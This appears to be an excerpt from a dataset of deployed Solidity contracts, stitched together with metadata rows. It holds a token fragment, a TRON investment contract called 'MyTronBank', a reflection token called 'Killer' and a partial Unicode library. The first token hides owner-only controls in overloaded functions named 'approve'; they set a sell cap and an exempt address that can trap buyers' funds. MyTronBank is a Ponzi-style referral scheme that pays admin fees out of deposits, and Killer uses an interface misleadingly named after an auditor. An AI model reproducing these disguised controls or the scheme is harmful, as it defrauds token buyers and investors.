constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 29,436 | 10,615 |
1b6b3313597b2fb89d403cc9e26ddba5ca0c285aedda25569886518bc0d21d40
| 17,995 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TY/TYvMCSpzDtnDk8wMX3qspXviujnoNcqnhz_MyTronBank.sol
| 4,530 | 17,319 |
//SourceUnit: MyTronBank.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract MyTronBank {
using SafeMath for uint;
uint constant public DEPOSITS_MAX = 300;
uint constant public INVEST_MIN_AMOUNT = 100 trx;
uint constant public INVEST_MAX_AMOUNT = 4000000 trx;
uint constant public BASE_PERCENT = 50;
uint[] public REFERRAL_PERCENTS = [700, 300, 150, 100, 50, 50, 50, 40, 30, 20, 10];
uint constant public MARKETING_FEE = 500;
uint constant public PROJECT_FEE = 500;
uint constant public ADMIN_FEE = 500;
uint constant public NETWORK = 500;
uint constant public MAX_CONTRACT_PERCENT = 100;
uint constant public MAX_LEADER_PERCENT = 50;
uint constant public MAX_HOLD_PERCENT = 100;
uint constant public MAX_COMMUNITY_PERCENT = 50;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 1000000000 trx;
uint constant public LEADER_BONUS_STEP = 1000000000 trx;
uint constant public COMMUNITY_BONUS_STEP = 10000000;
uint constant public TIME_STEP = 1 days;
uint public totalInvested;
address payable public marketingAddress;
address payable public projectAddress;
address payable public adminAddress;
address payable public networkAddress;
uint public totalDeposits;
uint public totalWithdrawn;
uint public contractPercent;
uint public contractCreationTime;
uint public totalRefBonus;
struct Deposit {
uint64 amount;
uint64 withdrawn;
// uint64 refback;
uint32 start;
}
struct User {
Deposit[] deposits;
uint32 checkpoint;
address referrer;
uint64 bonus;
uint24[11] refs;
// uint16 rbackPercent;
}
mapping (address => User) internal users;
mapping (uint => uint) internal turnover;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event RefBack(address indexed referrer, address indexed referral, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address payable marketingAddr, address payable projectAddr, address payable adminAddr, address payable networkAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
adminAddress = adminAddr;
networkAddress = networkAddr;
contractCreationTime = block.timestamp;
contractPercent = getContractBalanceRate();
}
// function setRefback(uint16 rbackPercent) public {
// require(rbackPercent <= 10000);
// User storage user = users[msg.sender];
// if (user.deposits.length > 0) {
// user.rbackPercent = rbackPercent;
// }
// }
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint) {
uint contractBalance = address(this).balance;
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(20));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getLeaderBonusRate() public view returns (uint) {
uint leaderBonusPercent = totalRefBonus.div(LEADER_BONUS_STEP).mul(10);
if (leaderBonusPercent < MAX_LEADER_PERCENT) {
return leaderBonusPercent;
} else {
return MAX_LEADER_PERCENT;
}
}
function getCommunityBonusRate() public view returns (uint) {
uint communityBonusRate = totalDeposits.div(COMMUNITY_BONUS_STEP).mul(10);
if (communityBonusRate < MAX_COMMUNITY_PERCENT) {
return communityBonusRate;
} else {
return MAX_COMMUNITY_PERCENT;
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalAmount;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
user.deposits[i].withdrawn = uint64(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
require(totalAmount > 0, "User has no dividends");
uint contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
user.checkpoint = uint32(block.timestamp);
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(5);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalDividends;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function invest(address referrer) public payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(msg.value >= INVEST_MIN_AMOUNT && msg.value <= INVEST_MAX_AMOUNT, "Bad Deposit");
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 100 deposits from address");
// uint availableLimit = getCurrentHalfDayAvailable();
// require(availableLimit > 0, "Deposit limit exceed");
uint msgValue = msg.value;
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
uint marketingFee = msgValue.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint projectFee = msgValue.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
uint adminFee = msgValue.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
uint network = msgValue.mul(NETWORK).div(PERCENTS_DIVIDER);
marketingAddress.transfer(marketingFee);
projectAddress.transfer(projectFee);
adminAddress.transfer(adminFee);
networkAddress.transfer(network);
emit FeePayed(msg.sender, marketingFee.add(projectFee).add(network));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
// else{
// user.referrer = adminAddress;
// }
// uint refbackAmount;
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint i = 0; i < 11; i++) {
if (upline != address(0)) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
// }
if (amount > 0) {
address(uint160(upline)).transfer(amount);
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
totalRefBonus = totalRefBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint64(msgValue), 0, uint32(block.timestamp)));
totalInvested = totalInvested.add(msgValue);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
emit NewDeposit(msg.sender, msgValue);
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(2);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserLastDeposit(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
return user.checkpoint;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = user.bonus;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].withdrawn));
}
return amount;
}
function getCurrentHalfDay() public view returns (uint) {
return (block.timestamp.sub(contractCreationTime)).div(TIME_STEP.div(2));
}
// function getCurrentDayLimit() public view returns (uint) {
// uint limit;
// uint currentDay = (block.timestamp.sub(contractCreation)).div(TIME_STEP);
// if (currentDay == 0) {
// limit = DAY_LIMIT_STEPS[0];
// } else if (currentDay == 1) {
// limit = DAY_LIMIT_STEPS[1];
// } else if (currentDay >= 2 && currentDay <= 5) {
// limit = DAY_LIMIT_STEPS[1].mul(currentDay);
// } else if (currentDay >= 6 && currentDay <= 19) {
// limit = DAY_LIMIT_STEPS[2].mul(currentDay.sub(3));
// } else if (currentDay >= 20 && currentDay <= 49) {
// limit = DAY_LIMIT_STEPS[3].mul(currentDay.sub(11));
// } else if (currentDay >= 50) {
// limit = DAY_LIMIT_STEPS[4].mul(currentDay.sub(30));
// }
// return limit;
// }
function getCurrentHalfDayTurnover() public view returns (uint) {
return turnover[getCurrentHalfDay()];
}
// function getCurrentHalfDayAvailable() public view returns (uint) {
// return getCurrentDayLimit().sub(getCurrentHalfDayTurnover());
// }
function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[userAddress];
uint count = first.sub(last);
if (count > user.deposits.length) {
count = user.deposits.length;
}
uint[] memory amount = new uint[](count);
uint[] memory withdrawn = new uint[](count);
uint[] memory refback = new uint[](count);
uint[] memory start = new uint[](count);
uint index = 0;
for (uint i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
// refback[index] = uint(user.deposits[i-1].refback);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (totalInvested, totalDeposits, address(this).balance, contractPercent);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint64, uint24[11] memory) {
User storage user = users[userAddress];
return (user.referrer, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 302,216 | 10,616 |
39d162d66b1a1ae77f027f39683120a641425a52dfe2e2d02e4f5afc6c5e4b2d
| 18,822 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/e7/E7f0b20e6949CF594fa855EB713CF4e879119923_Killer.sol
| 4,183 | 15,792 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Killer is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'Killer';
string private _symbol = 'Killer';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(5);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 318,324 | 10,617 |
8c2d08147da24c2108618ab8424c16dce435d1bbc97b60e3e2df190e41811094
| 13,690 |
.sol
|
Solidity
| false |
444259662
|
devstein/unicode-eth
|
b2add8ae99306cfd08ab968eaf12110a0b7443aa
|
contracts/Unicode.sol
| 3,231 | 10,612 |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/// @title A library for validating, parsing, and manipulating UTF-8 encoded Unicode strings
/// @author Devin Stein
library Unicode {
/// @notice Check if `self` contains only single byte ASCII characters (0-127)
/// @param self The input string
/// @return True if the `self` only contains ASCII
function isASCII(string calldata self) external pure returns (bool) {
bytes calldata _b = bytes(self);
uint256 len = _b.length;
for (uint256 i = 0; i < len; i++) {
if ((_b[i] & 0x80) != 0x00) return false;
}
return true;
}
// ASCII
function isOneBytesSequence(bytes1 _b) private pure returns (bool) {
return _b[0] <= 0x7F;
}
function isTwoBytesSequence(bytes1 _b) private pure returns (bool) {
return bytes1(0xC2) <= _b[0] && _b[0] <= bytes1(0xDF);
}
function isThreeBytesSequence(bytes1 _b) private pure returns (bool) {
return bytes1(0xE0) <= _b[0] && _b[0] <= bytes1(0xEF);
}
function isFourBytesSequence(bytes1 _b) private pure returns (bool) {
return bytes1(0xF0) <= _b[0] && _b[0] <= bytes1(0xF4);
}
function isContinuationByte(bytes1 _b) private pure returns (bool) {
return ((_b & 0xC0) != 0x80);
}
function twoBytesCodePoint(bytes memory _b) private pure returns (uint32) {
